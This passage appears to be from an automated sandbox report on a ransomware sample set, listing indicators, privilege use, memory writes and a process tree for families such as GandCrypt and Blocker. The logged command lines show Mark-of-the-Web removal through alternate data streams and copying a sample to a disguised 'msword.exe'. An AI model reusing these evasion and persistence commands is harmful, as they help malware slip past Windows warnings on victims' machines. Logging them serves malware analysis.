ebe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	y_installer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	y_installer.exe

NTFS ADS 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe:Zone.Identifier	cmd.exe
File opened for modification	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Isass.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\msword.exe\:Zone.Identifier:$DATA	cmd.exe
File created	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe:Zone.Identifier	cmd.exe
File created	C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe:Zone.Identifier	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
9804	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
1516	powershell.exe
1516	powershell.exe
1516	powershell.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4212	7zFM.exe
3568	taskmgr.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3968	HEUR-Trojan-Ransom.Win32.Blocker.gen-3378c59eba9f93c3b7dcb589c53f63fcf7e0baba98aadbff3b994653e9dc44df.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1532	Trojan-Ransom.Win32.Crusis.dsu-af2c1d4af00e47af98e83cba1e368428c6d64c5048a2f2d7bd0ea836de0df7b3.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	4212	7zFM.exe
Token: 35	4212	7zFM.exe
Token: SeSecurityPrivilege	4212	7zFM.exe
Token: SeSecurityPrivilege	4212	7zFM.exe
Token: SeDebugPrivilege	2640	taskmgr.exe
Token: SeSystemProfilePrivilege	2640	taskmgr.exe
Token: SeCreateGlobalPrivilege	2640	taskmgr.exe
Token: SeDebugPrivilege	3568	taskmgr.exe
Token: SeSystemProfilePrivilege	3568	taskmgr.exe
Token: SeCreateGlobalPrivilege	3568	taskmgr.exe
Token: 33	2640	taskmgr.exe
Token: SeIncBasePriorityPrivilege	2640	taskmgr.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	4012	HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
Token: 33	4012	HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
Token: SeIncBasePriorityPrivilege	4012	HEUR-Trojan-Ransom.Win32.Agent.gen-e8afae434aa9c3a3c848aa1f0809ebbddb6c88d45f39ba4306bbdefac4e59207.exe
Token: SeBackupPrivilege	3436	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
Token: SeSecurityPrivilege	3436	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
Token: SeSecurityPrivilege	3436	Trojan-Ransom.Win32.Shade.qjq-7ce52df2e1186532c119b3ad42fad1012bb78e6393bff209086dec386bbd49af.exe
Token: SeBackupPrivilege	8816	vssvc.exe
Token: SeRestorePrivilege	8816	vssvc.exe
Token: SeAuditPrivilege	8816	vssvc.exe
Token: SeDebugPrivilege	9108	powershell.exe
Token: SeDebugPrivilege	2344	Trojan-Ransom.Win32.Foreign.ojib-e8019df6572b12d099ac33d3c02e7cbd02971e55700430f5bbcd7855c4ff6ce0.exe
Token: SeDebugPrivilege	4552	HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
Token: SeDebugPrivilege	7100	tasklist.exe
Token: SeDebugPrivilege	4972	HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe
Token: SeDebugPrivilege	6208	powershell.exe
Token: SeShutdownPrivilege	7860	YandexPackSetup.exe
Token: SeIncreaseQuotaPrivilege	7860	YandexPackSetup.exe
Token: SeDebugPrivilege	8168	RegAsm.exe
Token: SeSecurityPrivilege	12588	msiexec.exe
Token: SeCreateTokenPrivilege	7860	YandexPackSetup.exe
Token: SeAssignPrimaryTokenPrivilege	7860	YandexPackSetup.exe
Token: SeLockMemoryPrivilege	7860	YandexPackSetup.exe
Token: SeIncreaseQuotaPrivilege	7860	YandexPackSetup.exe
Token: SeMachineAccountPrivilege	7860	YandexPackSetup.exe
Token: SeTcbPrivilege	7860	YandexPackSetup.exe
Token: SeSecurityPrivilege	7860	YandexPackSetup.exe
Token: SeTakeOwnershipPrivilege	7860	YandexPackSetup.exe
Token: SeLoadDriverPrivilege	7860	YandexPackSetup.exe
Token: SeSystemProfilePrivilege	7860	YandexPackSetup.exe
Token: SeSystemtimePrivilege	7860	YandexPackSetup.exe
Token: SeProfSingleProcessPrivilege	7860	YandexPackSetup.exe
Token: SeIncBasePriorityPrivilege	7860	YandexPackSetup.exe
Token: SeCreatePagefilePrivilege	7860	YandexPackSetup.exe
Token: SeCreatePermanentPrivilege	7860	YandexPackSetup.exe
Token: SeBackupPrivilege	7860	YandexPackSetup.exe
Token: SeRestorePrivilege	7860	YandexPackSetup.exe
Token: SeShutdownPrivilege	7860	YandexPackSetup.exe
Token: SeDebugPrivilege	7860	YandexPackSetup.exe
Token: SeAuditPrivilege	7860	YandexPackSetup.exe
Token: SeSystemEnvironmentPrivilege	7860	YandexPackSetup.exe
Token: SeChangeNotifyPrivilege	7860	YandexPackSetup.exe
Token: SeRemoteShutdownPrivilege	7860	YandexPackSetup.exe
Token: SeUndockPrivilege	7860	YandexPackSetup.exe
Token: SeSyncAgentPrivilege	7860	YandexPackSetup.exe
Token: SeEnableDelegationPrivilege	7860	YandexPackSetup.exe
Token: SeManageVolumePrivilege	7860	YandexPackSetup.exe
Token: SeImpersonatePrivilege	7860	YandexPackSetup.exe
Token: SeCreateGlobalPrivilege	7860	YandexPackSetup.exe
Token: SeRestorePrivilege	12588	msiexec.exe
Token: SeTakeOwnershipPrivilege	12588	msiexec.exe
Token: SeRestorePrivilege	12588	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4212	7zFM.exe
4212	7zFM.exe
4212	7zFM.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
2640	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe
3568	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 3568	2640	taskmgr.exe	99
PID 2640 wrote to memory of 3568	2640	taskmgr.exe	99
PID 1516 wrote to memory of 1044	1516	powershell.exe	105
PID 1516 wrote to memory of 1044	1516	powershell.exe	105
PID 1044 wrote to memory of 4972	1044	cmd.exe	106
PID 1044 wrote to memory of 4972	1044	cmd.exe	106
PID 1044 wrote to memory of 4972	1044	cmd.exe	106
PID 1044 wrote to memory of 4552	1044	cmd.exe	107
PID 1044 wrote to memory of 4552	1044	cmd.exe	107
PID 1044 wrote to memory of 4552	1044	cmd.exe	107
PID 1044 wrote to memory of 3020	1044	cmd.exe	108
PID 1044 wrote to memory of 3020	1044	cmd.exe	108
PID 1044 wrote to memory of 4012	1044	cmd.exe	109
PID 1044 wrote to memory of 4012	1044	cmd.exe	109
PID 1044 wrote to memory of 3968	1044	cmd.exe	110
PID 1044 wrote to memory of 3968	1044	cmd.exe	110
PID 1044 wrote to memory of 3968	1044	cmd.exe	110
PID 1044 wrote to memory of 2960	1044	cmd.exe	145
PID 1044 wrote to memory of 2960	1044	cmd.exe	145
PID 1044 wrote to memory of 2960	1044	cmd.exe	145
PID 1044 wrote to memory of 2132	1044	cmd.exe	112
PID 1044 wrote to memory of 2132	1044	cmd.exe	112
PID 1044 wrote to memory of 2132	1044	cmd.exe	112
PID 1044 wrote to memory of 556	1044	cmd.exe	113
PID 1044 wrote to memory of 556	1044	cmd.exe	113
PID 1044 wrote to memory of 556	1044	cmd.exe	113
PID 1044 wrote to memory of 1504	1044	cmd.exe	114
PID 1044 wrote to memory of 1504	1044	cmd.exe	114
PID 1044 wrote to memory of 1504	1044	cmd.exe	114
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 556 wrote to memory of 2476	556	HEUR-Trojan-Ransom.Win32.Generic-78d775670595e06249a026efd6d31c314707c1cdb80ef3650bffa2f7e0c57784.exe	115
PID 3020 wrote to memory of 3632	3020	HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe	116
PID 3020 wrote to memory of 3632	3020	HEUR-Trojan-Ransom.MSIL.Gen.gen-61a9ddcb15f0845bd89f2c4ca454e7d8f0a0b7a478ec2d980ae4fa333c1b4dd2.exe	116
PID 2960 wrote to memory of 1996	2960	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe	117
PID 2960 wrote to memory of 1996	2960	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe	117
PID 2960 wrote to memory of 1996	2960	HEUR-Trojan-Ransom.Win32.Crypmodadv.gen-ee0a206415cce60f8b3afb29d8c17f86fe1923cbdf69812be139a3012b2fa24b.exe	117
PID 1044 wrote to memory of 336	1044	cmd.exe	118
PID 1044 wrote to memory of 336	1044	cmd.exe	118
PID 1044 wrote to memory of 336	1044	cmd.exe	118
PID 1044 wrote to memory of 632	1044	cmd.exe	119
PID 1044 wrote to memory of 632	1044	cmd.exe	119
PID 1044 wrote to memory of 632	1044	cmd.exe	119
PID 1044 wrote to memory of 872	1044	cmd.exe	120
PID 1044 wrote to memory of 872	1044	cmd.exe	120
PID 1044 wrote to memory of 872	1044	cmd.exe	120
PID 1044 wrote to memory of 2344	1044	cmd.exe	121
PID 1044 wrote to memory of 2344	1044	cmd.exe	121
PID 1044 wrote to memory of 2344	1044	cmd.exe	121
PID 1044 wrote to memory of 4744	1044	cmd.exe	122
PID 1044 wrote to memory of 4744	1044	cmd.exe	122
PID 1044 wrote to memory of 4744	1044	cmd.exe	122
PID 1044 wrote to memory of 2644	1044	cmd.exe	123
PID 1044 wrote to memory of 2644	1044	cmd.exe	123
PID 1044 wrote to memory of 2644	1044	cmd.exe	123
PID 1044 wrote to memory of 2084	1044	cmd.exe	124
PID 1044 wrote to memory of 2084	1044	cmd.exe	124
PID 1044 wrote to memory of 2084	1044	cmd.exe	124

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00374.7z"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4212

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /1
  2⤵
  - Drops startup file
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1516
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe
    HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type nul > "HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe:Zone.Identifier"
      4⤵
      Subvert Trust Controls: Mark-of-the-Web Bypass
      System Location Discovery: System Language Discovery
      NTFS ADS
      PID:6408
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type nul > "HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe:Zone.Identifier"
      4⤵
      Subvert Trust Controls: Mark-of-the-Web Bypass
      System Location Discovery: System Language Discovery
      NTFS ADS
      PID:6940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c copy "HEUR-Trojan-Ransom.MSIL.Blocker.gen-7255ad5bcb24214dab33d7dbbbff317a0fc3cb3ecaffd59e313c72bdbf5b0afc.exe" "C:\Users\Admin\AppData\Roaming\msword.exe"
      4⤵
      System Location Discovery: System Language Discovery
      NTFS ADS
      PID:5108
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c, "C:\Users\Admin\AppData\Roaming\msword.exe"
      4⤵
      PID:3368
    - - C:\Users\Admin\AppData\Roaming\msword.exe
        
        "C:\Users\Admin\AppData\Roaming\msword.exe"
        5⤵
        
        PID:12776
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C type nul > "C:\Users\Admin\AppData\Roaming\msword.exe:Zone.Identifier"
        6⤵
        
        PID:8452
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C type nul > "C:\Users\Admin\AppData\Roaming\msword.exe:Zone.Identifier"
        6⤵
        
        PID:10176
      - C:\Users\Admin\AppData\Roaming\msword.exe
        
        "C:\Users\Admin\AppData\Roaming\msword.exe"
        6⤵
        
        PID:4876
- - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
    HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type nul > "HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe:Zone.Identifier"
      4⤵
      Subvert Trust Controls: Mark-of-the-Web Bypass
      System Location Discovery: System Language Discovery
      NTFS ADS
      PID:5172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type nul > "HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe:Zone.Identifier"
      4⤵
      Subvert Trust Controls: Mark-of-the-Web Bypass
      System Location Discovery: System Language Discovery
      NTFS ADS
      PID:6236
  - - C:\Users\Admin\Desktop\00374\HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe
      "HEUR-Trojan-Ransom.MSIL.GandCrypt.gen-9f44d74b5fe2e6353074ba70ade88d1747f038ca9902be34cb2ca95eecafc760.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:8340
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4552 -s 1336
      4⤵
      Program crash
      PID:11112
